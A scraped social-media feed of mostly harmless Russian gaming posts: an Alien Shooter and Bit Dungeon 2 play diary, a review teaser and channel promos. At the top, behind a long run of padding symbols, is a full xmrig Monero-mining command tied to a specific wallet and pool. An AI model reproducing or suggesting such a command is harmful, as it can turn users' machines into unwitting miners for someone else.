✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇ xmrig --coin XMR --url "xmr.kryptex.network:8888" --user "496XAfdYBQR6LVLhcNN3pdGXKs8EqwpEHWP5hj8u2hLMPQyUsjdk2TwiL8nmKFCekmLhKHWaYU8ZmTR4E2FZyZoxPrbbXHH/sid82a" --tls -k
0 notes
gamerwithoutsleep · 1 year
Text
Анонс
До Нового года выйдет обзор на игру от именитых игроделов в соавторстве с огромной киностудией. Данный продукт запомнился геймерам самобытными, немного оторванными от оригинала героями, фирменными шутками серии и шикарным музыкальным сопровождением с "закосом" под рок 80-х (оригинальные дорожки так же присутствуют).
Дедлайн был создан при поддержке моих дорогих друзей:
Tumblr media
1 note · View note
dimalink · 4 months
Text
Алиен Шутер, Бит Подземелья, октябрь
Tumblr media
Вот временами играю в выходные дни на своем новом компьютере. Которому уже скоро будет как год. Почти целый у меня новый компьютер. А в сильно современные игры я пока много не играю. За октябрь играл в Alien Shooter 1,2. И попробовал новую игрушку – Bit Dungeon 2.
Tumblr media
Причем интересно. В Alien Shooter, я предпочитаю режим выживания и тир. В первой части есть режим выживания. А во второй части предлагается уже два похожих режима - тир и выживание.
Tumblr media Tumblr media
Выживание – это одна большая арена и волны врагов. Со всех сторон. Волны усиливаются. Монстров становится больше, они мощнее тоже становятся. Ты получаешь бонусы по мере отстрела врагов. Новые виды пушек и защиты получаешь. Очень нравится такой режим игры. В обоих Алиен Шутерах играю в этот режим.  Кстати, они немного по-разному сделаны в этих частях.
Tumblr media
А еще во второй части есть еще и режим тир. Это ты стоишь по центру в виде большой пушки пулемета. И вокруг тебя укрепления. И стреляешь по всем врагам вокруг себя. Ты можешь вращаться и стрелять. Опять же волны врагов. Враги идут со всех сторон. Ты также улучшения получаешь между уровнями. Тут по уровням этот режим идет. Можно поставить ракеты себе, улучшить защиту, подкрепление поставить с собой рядом, улучшить свой пулемет.
Tumblr media
Ты в центе типа башни и вокруг тебя волны врагов. Защита – насыпь в виде типа мешков с песком. Стена такая типа стоит из бетона. Ее монстры могут проломить.
Tumblr media Tumblr media
В режиме самой игры - сценарий. Типа сюжетные уровни я мало играю. Как-то за женщину в первый алиен шутер начал играть, но много раз не мог пройти дальше третьего уровня. Как-то сложнее что ли за нее играть чем за мужчину.
Tumblr media
Во втором Алиен Шутер я на пятом уровне. Это мое достижение такое. Но, у  меня, уже нету больше ни продолжений и жизней особо. Похоже это мой максимум пока что.
Tumblr media
А еще начал потихоньку запускать все игрушки, которые за многие годы набрал в СТИМ. Начал осваивать игрушку Bit Dungeons 2. Это простая игра, ретро рогалик. Она выполнена в стиле пиксель арт. Такой прикольный и простой рисунок. Игрушка очень занятная оказалась. Ты ходишь по карте. По экранам. И уничтожаешь врагов, прокачиваешься. Находишь себе новые вещи разные.  Они отображаются на персонаже. Новый меч или броня, шапка, шлем. Ботинки. Тут, собственно, и все. Просто ходишь по этим экранам и пытаешься пройти дальше.
Tumblr media Tumblr media
Сами карты тут разные по темам. Лед, лес призраков. Пустыня. Враги разные. Большие крабы, какие-то рыцари, мрачные монстры, как будто из аниме.  Из интересного, тут есть подземелья. Они более хитрые, чем карта на поверхности. Там уже есть закрытые двери и боссы. Так что можно не сразу пройти подземелье.
Tumblr media Tumblr media
У меня уже аж 20ый уровень в этой игре. Прокачка тут довольно быстрая. Я бы сказал такая добрая игрушка для отдыха или перерыва. Забавная графика. Управление очень простое. Все с мышки. Ходишь и сражаешься. Особо хитростей нету.
Tumblr media Tumblr media
Дима Линк делает ретро видеоигры, приложения, немного музыку, пишет истории, и еще некоторое ретро.
ВЕБСАЙТ: http://www.dimalink.tv-games.ru/home_rus.html ИТЧИО: https://dimalink.itch.io/ ГЕЙМДЖОЛТ: https://gamejolt.com/@DimaLink/games
БЛОГЕР: https://dimalinkrus.blogspot.com/ ТЕЛЕГРАМ: https://t.me/dimalinkx ДИСКОРД: https://discord.com/invite/F24Kw7TaH4 ТАМБЛЕР: https://dimalink.tumblr.com/
2 notes · View notes
gwen-zet · 1 year
Photo
Tumblr media
Курлик, Курлик, Курлик #майнкрафт #дракон #gamerlife #dragon #maincraft #геймер https://www.instagram.com/p/ClhJw1ogewL/?igshid=NGJjMDIxMWI=
0 notes
vasiliaaandreeva · 9 months
Text
Tumblr media Tumblr media
2 notes · View notes
shartur · 1 year
Photo
Tumblr media
Привет, это канал САМЫЙ САМЫЙ! У нас есть сайт https://samoesamoevmire.ru и канал Телеграм, Ютьюб и Рутуб каналы, группа Вконтакте и канал Дзен. Подписывайся, смотри и читай нас там, где тебе удобно! В это время года #геймеры снова взволнованы предстоящими релизами самых ожидаемых видеоигр от своих любимых франшиз и студий. #игры #видеоигры #видеоигра #компьютерныеигры #приставка #приставки #playstation #playstation5 #playstation4 #ps4 #ps5 #плейстейшн #xbox #иксбокс #пкигры #самыйсамыйтоп #самыйсамый #самоесамоевмире #геймер https://www.instagram.com/p/CjKLSE1NAHp/?igshid=NGJjMDIxMWI=
1 note · View note